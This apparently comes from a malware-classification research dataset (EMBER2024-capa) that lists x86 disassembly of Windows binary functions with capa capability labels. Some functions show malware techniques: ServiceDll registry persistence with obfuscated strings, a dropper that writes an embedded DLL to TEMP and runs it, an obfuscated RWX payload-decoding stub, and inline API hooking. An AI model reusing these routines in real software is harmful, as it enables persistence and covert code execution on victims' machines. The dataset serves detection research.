joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1000ced0
Capabilities:
Delete file
Get common file path

Disassembly:
sub esp, 0x364
push ebx
push ebp
push esi
push edi
mov ecx, 8
mov esi, str.SYSTEMCurrentControlSetServices_
lea edi, [esp + 0x248]
xor eax, eax
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
mov ecx, 0x42
lea edi, [esp + 0x26b]
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
mov edi, str.Wekejy_Hsprrd_mOgd
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x248]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0x104
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
xor ebx, ebx
and ecx, 3
mov byte [esp + 0x80], bl
rep movsb byte es:[edi], byte [esi]
mov ecx, 0x40
lea edi, [esp + 0x81]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x80]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
mov edi, str.Net_Temp.ini
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x7c]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov byte [esp + 0x7f], bl
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
lea eax, [esp + 0x7c]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
mov esi, dword [sym.imp.KERNEL32.dll_DeleteFileA]
call esi
lea ecx, [esp + 0x7c]
lea edx, [esp + 0x248]
push ecx
push edx
call fcn.1000cdf0
mov ecx, 0x18
xor eax, eax
lea edi, [esp + 0x21]
mov byte [esp + 0x20], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
call dword [sym.imp.MSVCRT.dll_rand]
imul eax, eax, 0x2b67
mov ebp, dword [sym.imp.MSVCRT.dll_sprintf]
push eax
lea eax, [esp + 0x24]
push str.SOFTWARE_d
push eax
call ebp
lea ecx, [esp + 0x90]
lea edx, [esp + 0x2c]
push ecx
push edx
call fcn.1000ce50
add esp, 0x1c
lea eax, [esp + 0x7c]
push eax
call esi
mov ecx, 0x31
xor eax, eax
lea edi, [esp + 0x181]
mov byte [esp + 0x180], bl
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x18]
lea edx, [esp + 0x180]
stosw word es:[edi], ax
push ecx
push str._sParameters
push edx
stosb byte es:[edi], al
call ebp
add esp, 0xc
lea eax, [esp + 0x14]
lea ecx, [esp + 0x10]
lea edx, [esp + 0x180]
push eax
push ecx
push ebx
push 0xf003f
push ebx
push ebx
push ebx
push edx
push 0x80000002
mov dword [esp + 0x38], 1
call dword [0x1001a4dc]
push str._RqmbzdlDjn_p__DornTLvhcjrwi_xha
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
mov eax, dword [esp + 0x14]
push str._RqmbzdlDjn_p__DornTLvhcjrwi_xha
push 2
push ebx
push str.ServiceDll
push eax
call dword [0x1001a4e0]
mov ecx, dword [esp + 0x10]
push ecx
call dword [0x1001a474]
lea edx, [esp + 0x7c]
lea eax, [esp + 0x18]
push edx
push eax
call fcn.1000cdf0
lea ecx, [esp + 0x84]
lea edx, [esp + 0x250]
push ecx
push edx
call fcn.1000ce50
add esp, 0x10
lea eax, [esp + 0x7c]
push eax
call esi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x364
ret
Function at 0x10001000
Capabilities:
Delete file
Query environment variable
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
nop
mov eax, str.TEMP
push eax
call sub.msvcrt.dll_getenv
add esp, 4
mov dword [ebp - 4], eax
mov eax, str.BCMM_Patch.exported.dll
mov dword [ebp - 8], eax
mov eax, str.EntryPoint
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 4]
mov ecx, 0x101f9a28
cmp eax, ecx
je 0x1000104e
mov eax, dword [ebp - 8]
push eax
mov eax, dword [ebp - 4]
push eax
call sub.msvcrt.dll_strcat
add esp, 8
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
push eax
call sub.msvcrt.dll_remove
add esp, 4
mov eax, str.Writing_dll_n
push eax
call sub.msvcrt.dll_printf
add esp, 4
mov eax, 0x101f9a36
push eax
mov eax, dword [ebp - 8]
push eax
call sub.msvcrt.dll_fopen
add esp, 8
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
cmp eax, 0
je 0x100010b3
mov eax, dword [ebp - 0x10]
push eax
mov eax, 0x1f7a00
push eax
mov eax, 1
push eax
mov eax, section..data
push eax
call sub.msvcrt.dll_fwrite
add esp, 0x10
mov eax, dword [ebp - 0x10]
push eax
call sub.msvcrt.dll_fclose
add esp, 4
mov eax, str.Loading_DLL_n
push eax
call sub.msvcrt.dll_printf
add esp, 4
mov eax, str.Executing_LoadLibrary_n
push eax
call sub.msvcrt.dll_printf
add esp, 4
mov eax, dword [ebp - 8]
push eax
call sub.kernel32.dll_LoadLibraryA
mov dword [ebp - 0x14], eax
mov eax, str.Executing_GetProcAddress_n
push eax
call sub.msvcrt.dll_printf
add esp, 4
mov eax, dword [ebp - 0xc]
push eax
mov eax, dword [ebp - 0x14]
push eax
call sub.kernel32.dll_GetProcAddress
mov dword [ebp - 0x18], eax
mov eax, str.Executing_ManagedMethod_n
push eax
call sub.msvcrt.dll_printf
add esp, 4
mov eax, dword [ebp - 0x18]
call eax
mov eax, str.Executing_WaitForSingleObject_n
push eax
call sub.msvcrt.dll_printf
add esp, 4
mov eax, 0xffffffff
push eax
mov eax, dword [ebp - 0x14]
push eax
call sub.kernel32.dll_WaitForSingleObject
mov eax, str.Ending_Executing_n
push eax
call sub.msvcrt.dll_printf
add esp, 4
mov eax, dword [ebp - 0x14]
push eax
call sub.kernel32.dll_FreeLibrary
mov eax, str.Cleaning_Cache_n
push eax
call sub.msvcrt.dll_printf
add esp, 4
mov eax, dword [ebp - 8]
push eax
call sub.msvcrt.dll_remove
add esp, 4
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
cmp eax, 0
jne 0x1000117c
mov eax, str._nFile_Deleted_Successfully_
push eax
call sub.msvcrt.dll_printf
add esp, 4
jmp 0x1000118a
mov eax, str._nError_Occurred_
push eax
call sub.msvcrt.dll_printf
add esp, 4
mov eax, 0
leave
ret

Function at 0x10001191
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 4
nop
jmp 0x100011fc
mov eax, 1
mov byte [ebp - 1], al
movsx eax, byte [ebp - 1]
cmp eax, 0
jne 0x100011bf
call section..text
jmp 0x100011e8
mov eax, 0
push eax
mov eax, 0
push eax
mov eax, 0
push eax
mov eax, section..text
push eax
mov eax, 0
push eax
mov eax, 0
push eax
call sub.kernel32.dll_CreateThread
jmp 0x1000120b
jmp 0x1000120b
jmp 0x1000120b
mov eax, dword [ebp + 0xc]
cmp eax, 0
je 0x100011ed
cmp eax, 1
je 0x100011a0
jmp 0x100011f2
mov eax, 1
leave
ret 0xc
Function at 0x10032832
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
pushal
call 0x10032841
pop dword [ebp - 0x50]
mov eax, 0x10032841
sub dword [ebp - 0x50], eax
mov dword [ebp - 0x60], 0xd412942a
sub dword [ebp - 0x60], 0x85c04edf
mov dword [ebp - 0x5c], 0x17ae656
add dword [ebp - 0x5c], 0x30b865ef
mov dword [ebp - 0x58], 0x1c549569
add dword [ebp - 0x58], 0x2ff7aec5
mov dword [ebp - 0x54], 0xcf7c8e50
sub dword [ebp - 0x54], 0xcf7c8e50
lea eax, [ebp - 0x60]
push eax
mov eax, 0x11d24b17
sub eax, 0x1ccba0b
add eax, dword [ebp - 0x50]
call dword [eax]
mov dword [ebp - 0x60], 0x4db97f7b
add dword [ebp - 0x60], 0x26b8e9db
mov dword [ebp - 0x5c], 0x52a231df
sub dword [ebp - 0x5c], 0x1135d06a
mov dword [ebp - 0x58], 0xb487fa73
add dword [ebp - 0x58], 0xaee771f9
mov dword [ebp - 0x54], 0x19dcd842
add dword [ebp - 0x54], 0xe62327be
lea ebx, [ebp - 0x60]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x50]
call dword [eax]
push 0x40
push 0x1000
push 0x5f546
push 0
call eax
mov ecx, 0x38b77541
add ecx, 0xc748d99c
mov edi, eax
mov ebx, 0xe70c519c
sub ebx, 0xd705bd9c
add ebx, dword [ebp - 0x50]
mov edx, 0x294525b2
add edx, 0xd104f98d
xor dword [ebp - 0x14], 0xae5e0b1c
mov esi, dword [ebx]
mov dword [ebp - 0x40], 0xe8138711
add esi, edx
xor dword [ebp - 0x20], 0xf5ebef7b
mov dword [edi], esi
xor dword [ebp - 0x2c], 0x4c0cad50
add edi, 0xa6c034f6
add edi, 0x593fcb0e
add ebx, 4
loop 0x10032959
add eax, 0x41ae452
sub eax, 0x419b60b
mov ebx, eax
add eax, 0x7dde0873
sub eax, 0x7dde086e
mov ecx, 0x10000000
add ecx, dword [ebp - 0x50]
call ebx
leave
ret
Function at 0x10011550
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1003006d
mov eax, dword fs:[0]
push eax
sub esp, 0x10
mov eax, dword [0x1003d02c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x18], ecx
push 4
lea ecx, [ebp - 0x14]
call fcn.10001a20
mov eax, dword [ebp + 8]
push eax
lea ecx, [ebp - 0x14]
push ecx
call fcn.10012950
add esp, 8
mov dword [ebp - 4], 0
mov dword [ebp - 0x1c], 0x100129b0
mov edx, dword [ebp - 0x18]
add edx, 4
push edx
push 0
lea ecx, [ebp - 0x14]
call fcn.1000b8b0
push eax
mov eax, dword [ebp - 0x1c]
push eax
push 0
push 0
call fcn.1001a195
add esp, 0x18
mov ecx, dword [ebp - 0x18]
mov dword [ecx], eax
mov edx, dword [ebp - 0x18]
cmp dword [edx], 0
je 0x100115dc
lea ecx, [ebp - 0x14]
call fcn.10012020
jmp 0x100115ed
mov eax, dword [ebp - 0x18]
mov dword [eax + 4], 0
push 6
call fcn.100157a9
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x14]
call fcn.10012050
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10015f53
mov esp, ebp
pop ebp
ret 4

Function at 0x10012520
Capabilities:
Generate random numbers using a mersenne twister

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 8], ecx
mov eax, dword [ebp - 8]
cmp dword [eax], 0x270
jne 0x1001253e
mov ecx, dword [ebp - 8]
call fcn.100125c0
jmp 0x10012551
mov ecx, dword [ebp - 8]
cmp dword [ecx], 0x4e0
jb 0x10012551
mov ecx, dword [ebp - 8]
call fcn.10012650
mov edx, dword [ebp - 8]
mov eax, dword [edx]
mov ecx, dword [ebp - 8]
mov edx, dword [ecx + eax*4 + 4]
mov dword [ebp - 0xc], edx
mov eax, dword [ebp - 8]
mov ecx, dword [eax]
add ecx, 1
mov edx, dword [ebp - 8]
mov dword [edx], ecx
mov eax, dword [ebp - 0xc]
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
shr ecx, 0xb
mov edx, dword [ebp - 8]
and ecx, dword [edx + 0x1384]
xor ecx, dword [ebp - 4]
mov dword [ebp - 4], ecx
mov eax, dword [ebp - 4]
shl eax, 7
and eax, 0x9d2c5680
xor eax, dword [ebp - 4]
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
shl ecx, 0xf
and ecx, 0xefc60000
xor ecx, dword [ebp - 4]
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 4]
shr edx, 0x12
xor edx, dword [ebp - 4]
mov dword [ebp - 4], edx
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret
Function at 0x100125c0
Capabilities:
Generate random numbers using a mersenne twister

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov dword [ebp - 8], ecx
mov dword [ebp - 4], 0x270
jmp 0x100125db
mov eax, dword [ebp - 4]
add eax, 1
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0x4e0
jae 0x10012647
mov ecx, dword [ebp - 4]
mov edx, dword [ebp - 8]
mov eax, dword [edx + ecx*4 - 0x9bc]
and eax, 0x80000000
mov ecx, dword [ebp - 4]
mov edx, dword [ebp - 8]
mov ecx, dword [edx + ecx*4 - 0x9b8]
and ecx, 0x7fffffff
or eax, ecx
mov dword [ebp - 0xc], eax
mov edx, dword [ebp - 0xc]
and edx, 1
je 0x1001261f
mov dword [ebp - 0x10], 0x9908b0df
jmp 0x10012626
mov dword [ebp - 0x10], 0
mov eax, dword [ebp - 0xc]
shr eax, 1
xor eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 4]
mov edx, dword [ebp - 8]
xor eax, dword [edx + ecx*4 - 0x388]
mov ecx, dword [ebp - 4]
mov edx, dword [ebp - 8]
mov dword [edx + ecx*4 + 4], eax
jmp 0x100125d2
mov esp, ebp
pop ebp
ret
Function at 0x10012650
Capabilities:
Generate random numbers using a mersenne twister

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
mov dword [ebp - 4], ecx
mov dword [ebp - 0x28], 0x26f
mov dword [ebp - 0x2c], 0xe3
mov dword [ebp - 8], 0
jmp 0x10012679
mov eax, dword [ebp - 8]
add eax, 1
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0xe3
jae 0x100126e5
mov ecx, dword [ebp - 8]
mov edx, dword [ebp - 4]
mov eax, dword [edx + ecx*4 + 0x9c4]
and eax, 0x80000000
mov ecx, dword [ebp - 8]
mov edx, dword [ebp - 4]
mov ecx, dword [edx + ecx*4 + 0x9c8]
and ecx, 0x7fffffff
or eax, ecx
mov dword [ebp - 0x10], eax
mov edx, dword [ebp - 0x10]
and edx, 1
je 0x100126bd
mov dword [ebp - 0x14], 0x9908b0df
jmp 0x100126c4
mov dword [ebp - 0x14], 0
mov eax, dword [ebp - 0x10]
shr eax, 1
xor eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 8]
mov edx, dword [ebp - 4]
xor eax, dword [edx + ecx*4 + 0xff8]
mov ecx, dword [ebp - 8]
mov edx, dword [ebp - 4]
mov dword [edx + ecx*4 + 4], eax
jmp 0x10012670
mov dword [ebp - 0xc], 0xe3
jmp 0x100126f7
mov eax, dword [ebp - 0xc]
add eax, 1
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0x26f
jae 0x10012763
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 4]
mov eax, dword [edx + ecx*4 + 0x9c4]
and eax, 0x80000000
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 4]
mov ecx, dword [edx + ecx*4 + 0x9c8]
and ecx, 0x7fffffff
or eax, ecx
mov dword [ebp - 0x18], eax
mov edx, dword [ebp - 0x18]
and edx, 1
je 0x1001273b
mov dword [ebp - 0x1c], 0x9908b0df
jmp 0x10012742
mov dword [ebp - 0x1c], 0
mov eax, dword [ebp - 0x18]
shr eax, 1
xor eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 4]
xor eax, dword [edx + ecx*4 - 0x388]
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 4]
mov dword [edx + ecx*4 + 4], eax
jmp 0x100126ee
mov dword [ebp - 0x30], 0x26f
mov eax, 4
imul ecx, eax, 0x4df
mov edx, dword [ebp - 4]
mov eax, dword [edx + ecx + 4]
and eax, 0x80000000
mov ecx, 4
imul edx, ecx, 0
mov ecx, dword [ebp - 4]
mov edx, dword [ecx + edx + 4]
and edx, 0x7fffffff
or eax, edx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
and eax, 1
je 0x100127ac
mov dword [ebp - 0x24], 0x9908b0df
jmp 0x100127b3
mov dword [ebp - 0x24], 0
mov ecx, dword [ebp - 0x20]
shr ecx, 1
xor ecx, dword [ebp - 0x24]
mov edx, 4
imul eax, edx, 0x18c
mov edx, dword [ebp - 4]
xor ecx, dword [edx + eax + 4]
mov eax, 4
imul edx, eax, 0x26f
mov eax, dword [ebp - 4]
mov dword [eax + edx + 4], ecx
mov ecx, dword [ebp - 4]
mov dword [ecx], 0
mov esp, ebp
pop ebp
ret
Function at 0x10013d10
Capabilities:
Resolve function by fnv-1a hash

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [0x1003d02c]
xor eax, ebp
mov dword [ebp - 4], eax
lea ecx, [ebp - 0x14]
call fcn.100138f0
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax + 0x18]
push ecx
lea ecx, [ebp - 0x10]
call fcn.100137c0
lea ecx, [ebp - 0x10]
call fcn.10013820
movzx edx, al
test edx, edx
je 0x10013d92
lea ecx, [ebp - 0x10]
call fcn.10013850
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp - 0x18]
sub ecx, 1
mov dword [ebp - 0x18], ecx
cmp dword [ebp - 0x1c], 0
je 0x10013d92
mov edx, dword [ebp - 0x18]
push edx
lea ecx, [ebp - 0x10]
call fcn.10013870
push eax
call fcn.10013dc0
add esp, 4
cmp eax, 0x820621f3
jne 0x10013d90
mov eax, dword [ebp - 0x18]
push eax
lea ecx, [ebp - 0x10]
call fcn.100138a0
jmp 0x10013da3
jmp 0x10013d51
lea ecx, [ebp - 0x14]
call fcn.10013910
movzx ecx, al
test ecx, ecx
jne 0x10013d28
xor eax, eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10015f53
mov esp, ebp
pop ebp
ret

Function at 0x10013ec0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov dword [ebp - 4], ecx
cmp dword [ebp + 0x10], 0
je 0x10013ed7
mov eax, dword [ebp - 4]
cmp dword [eax], 0
jne 0x10013edb
xor al, al
jmp 0x10013f43
mov ecx, dword [ebp + 8]
push ecx
call fcn.1001d240
add esp, 4
test eax, eax
jne 0x10013eef
xor al, al
jmp 0x10013f43
lea edx, [ebp + 0x14]
push edx
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
mov ecx, dword [ebp - 4]
call fcn.100140a0
movzx edx, al
test edx, edx
jne 0x10013f0e
xor al, al
jmp 0x10013f43
lea eax, [ebp + 0x14]
push eax
mov ecx, dword [ebp + 0x10]
push ecx
lea edx, [ebp + 0xc]
push edx
push 0
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 4]
mov edx, dword [ecx]
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x10013f39
mov dword [ebp - 8], 1
jmp 0x10013f40
mov dword [ebp - 8], 0
mov al, byte [ebp - 8]
mov esp, ebp
pop ebp
ret 0x10

Function at 0x10013f50
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov dword [ebp - 4], ecx
cmp dword [ebp + 0x10], 0
je 0x10013f67
mov eax, dword [ebp - 4]
cmp dword [eax], 0
jne 0x10013f6b
xor al, al
jmp 0x10013fd3
mov ecx, dword [ebp + 8]
push ecx
call fcn.1001d240
add esp, 4
test eax, eax
jne 0x10013f7f
xor al, al
jmp 0x10013fd3
lea edx, [ebp + 0x14]
push edx
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
mov ecx, dword [ebp - 4]
call fcn.10013fe0
movzx edx, al
test edx, edx
jne 0x10013f9e
xor al, al
jmp 0x10013fd3
mov eax, dword [ebp + 0x14]
push eax
mov ecx, dword [ebp + 0x10]
push ecx
mov edx, dword [ebp + 0xc]
push edx
push 0
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 4]
mov edx, dword [ecx]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x10013fc9
mov dword [ebp - 8], 1
jmp 0x10013fd0
mov dword [ebp - 8], 0
mov al, byte [ebp - 8]
mov esp, ebp
pop ebp
ret 0x10
Function at 0x100145ee
Capabilities:
Enumerate threads

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x1003d02c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
xor edi, edi
mov esi, ecx
push edi
push 4
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov ebx, eax
mov dword [ebp - 0x24], ebx
cmp ebx, 0xffffffff
je 0x100146f9
lea eax, [ebp - 0x20]
mov dword [ebp - 0x20], 0x1c
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_Thread32First]
test eax, eax
je 0x100146f2
inc edi
cmp dword [ebp - 0x20], 0x10
jb 0x100146b6
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp dword [ebp - 0x14], eax
jne 0x100146b6
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
cmp dword [ebp - 0x18], eax
je 0x100146b6
mov edx, dword [esi]
test edx, edx
jne 0x1001467f
push 0x200
push edx
push dword [0x1003ec90]
mov dword [esi + 4], 0x80
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov edx, eax
mov dword [esi], edx
test edx, edx
je 0x100146db
lea ebx, [esi + 8]
jmp 0x100146a9
mov eax, dword [esi + 4]
lea ebx, [esi + 8]
cmp dword [ebx], eax
jb 0x100146a9
add eax, eax
mov dword [esi + 4], eax
shl eax, 2
push eax
push edx
push 0
push dword [0x1003ec90]
call dword [sym.imp.KERNEL32.dll_HeapReAlloc]
mov edx, eax
test edx, edx
je 0x1001470a
mov dword [esi], edx
mov ecx, dword [ebx]
mov eax, dword [ebp - 0x18]
mov dword [edx + ecx*4], eax
inc dword [ebx]
mov ebx, dword [ebp - 0x24]
lea eax, [ebp - 0x20]
mov dword [ebp - 0x20], 0x1c
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_Thread32Next]
test eax, eax
jne 0x10014637
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x12
je 0x100146f2
xor edi, edi
cmp dword [esi], edi
je 0x100146f2
push dword [esi]
push edi
push dword [0x1003ec90]
call dword [sym.imp.KERNEL32.dll_HeapFree]
and dword [esi], edi
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
mov eax, edi
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10015f53
leave
ret
mov ebx, dword [ebp - 0x24]
jmp 0x100146db

Function at 0x1001470f
Capabilities:
Suspend thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push esi
push edi
mov edi, ecx
mov dword [ebp - 8], edx
xor esi, esi
mov dword [edi], esi
mov dword [edi + 4], esi
mov dword [edi + 8], esi
call fcn.100145ee
test eax, eax
jne 0x10014733
push 9
pop esi
jmp 0x1001477a
cmp dword [edi], esi
je 0x1001477a
push ebx
mov ebx, esi
cmp dword [edi + 8], esi
jbe 0x10014779
mov eax, dword [edi]
push dword [eax + ebx*4]
push esi
push 0x5a
call dword [sym.imp.KERNEL32.dll_OpenThread]
mov dword [ebp - 4], eax
test eax, eax
je 0x10014773
push eax
call dword [sym.imp.KERNEL32.dll_SuspendThread]
push dword [ebp + 8]
mov edx, dword [ebp - 8]
mov ecx, dword [ebp - 4]
call fcn.1001449b
pop ecx
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
inc ebx
cmp ebx, dword [edi + 8]
jb 0x1001473f
pop ebx
pop edi
mov eax, esi
pop esi
leave
ret
Function at 0x10014780
Capabilities:
Resume thread

Disassembly:
push esi
mov esi, ecx
cmp dword [esi], 0
je 0x100147cc
push edi
xor edi, edi
cmp dword [esi + 8], edi
jbe 0x100147bb
push ebx
mov eax, dword [esi]
push dword [eax + edi*4]
push 0
push 0x5a
call dword [sym.imp.KERNEL32.dll_OpenThread]
mov ebx, eax
test ebx, ebx
je 0x100147b4
push ebx
call dword [sym.imp.KERNEL32.dll_ResumeThread]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
inc edi
cmp edi, dword [esi + 8]
jb 0x10014791
pop ebx
push dword [esi]
push 0
push dword [0x1003ec90]
call dword [sym.imp.KERNEL32.dll_HeapFree]
pop edi
pop esi
ret

Function at 0x100147ce
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
imul esi, ecx, 0x2c
push edi
mov edi, edx
mov dword [ebp - 0x10], edi
add esi, dword [0x1003ed00]
mov dword [ebp - 8], esi
mov al, byte [esi + 0x14]
mov ebx, dword [esi]
and al, 1
je 0x100147f4
sub ebx, 5
movzx eax, al
lea ecx, [ebp - 4]
push ecx
push 0x40
lea eax, [eax*2 + 5]
push eax
push ebx
mov dword [ebp - 0xc], eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x1001481b
push 0xa
pop eax
jmp 0x1001489b
test edi, edi
je 0x1001483c
mov byte [ebx], 0xe9
mov eax, dword [esi + 4]
sub eax, ebx
sub eax, 5
mov dword [ebx + 1], eax
test byte [esi + 0x14], 1
je 0x1001485b
mov eax, dword [esi]
mov word [eax], 0xf9eb
jmp 0x1001485b
test byte [esi + 0x14], 1
je 0x10014850
lea esi, [esi + 0xc]
mov edi, ebx
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
mov esi, dword [ebp - 8]
jmp 0x1001485b
mov eax, dword [esi + 0xc]
mov dword [ebx], eax
mov al, byte [esi + 0x10]
mov byte [ebx + 4], al
mov edi, dword [ebp - 0xc]
lea eax, [ebp - 4]
push eax
push dword [ebp - 4]
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_FlushInstructionCache]
mov edx, dword [ebp - 0x10]
mov cl, dl
add cl, cl
shl dl, 2
xor cl, byte [esi + 0x14]
and cl, 2
xor cl, byte [esi + 0x14]
xor dl, cl
and dl, 4
xor dl, cl
xor eax, eax
mov byte [esi + 0x14], dl
pop edi
pop esi
pop ebx
leave
ret

Function at 0x10014ec4
Capabilities:
Allocate or change rwx memory

Disassembly:
mov edx, dword [0x1003ecf8]
push esi
xor esi, esi
jmp 0x10014ed6
cmp dword [edx + 4], esi
jne 0x10014f2a
mov edx, dword [edx]
test edx, edx
jne 0x10014ecf
push 0x40
push 0x3000
push 0x1000
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edx, eax
test edx, edx
je 0x10014f26
push edi
push 0x20
lea ecx, [edx + 0x20]
mov dword [edx + 8], esi
pop edi
mov dword [ecx], esi
mov eax, ecx
mov dword [edx + 4], ecx
add edi, 0x20
add ecx, 0x20
mov esi, eax
cmp edi, 0xfe0
jbe 0x10014efd
mov eax, dword [0x1003ecf8]
mov dword [edx], eax
mov dword [0x1003ecf8], edx
pop edi
test edx, edx
jne 0x10014f2a
xor eax, eax
pop esi
ret
mov eax, dword [edx + 4]
pop esi
mov ecx, dword [eax]
inc dword [edx + 8]
mov dword [edx + 4], ecx
ret
Function at 0x1001d108
Capabilities:
Get disk information

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [0x1003d02c]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
cmp eax, 0x1a
jbe 0x1001d14b
call fcn.1001dc70
mov dword [eax], 0xf
call fcn.1001dc83
mov dword [eax], 0xd
call fcn.1001d928
xor eax, eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10015f53
leave
ret
test eax, eax
jne 0x1001d152
inc eax
jmp 0x1001d13f
add eax, 0x40
push 0x3a
mov word [ebp - 0xc], ax
pop eax
mov word [ebp - 0xa], ax
push 0x5c
pop eax
mov word [ebp - 8], ax
xor eax, eax
mov word [ebp - 6], ax
lea eax, [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
mov ecx, eax
test ecx, ecx
je 0x1001d13d
xor eax, eax
cmp ecx, 1
setne al
jmp 0x1001d13f

Function at 0x1001e113
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x1001e152
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x1001e152
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x1001e152
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x1001e152
cmp dword [ecx + 0x74], 0xe
jbe 0x1001e152
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret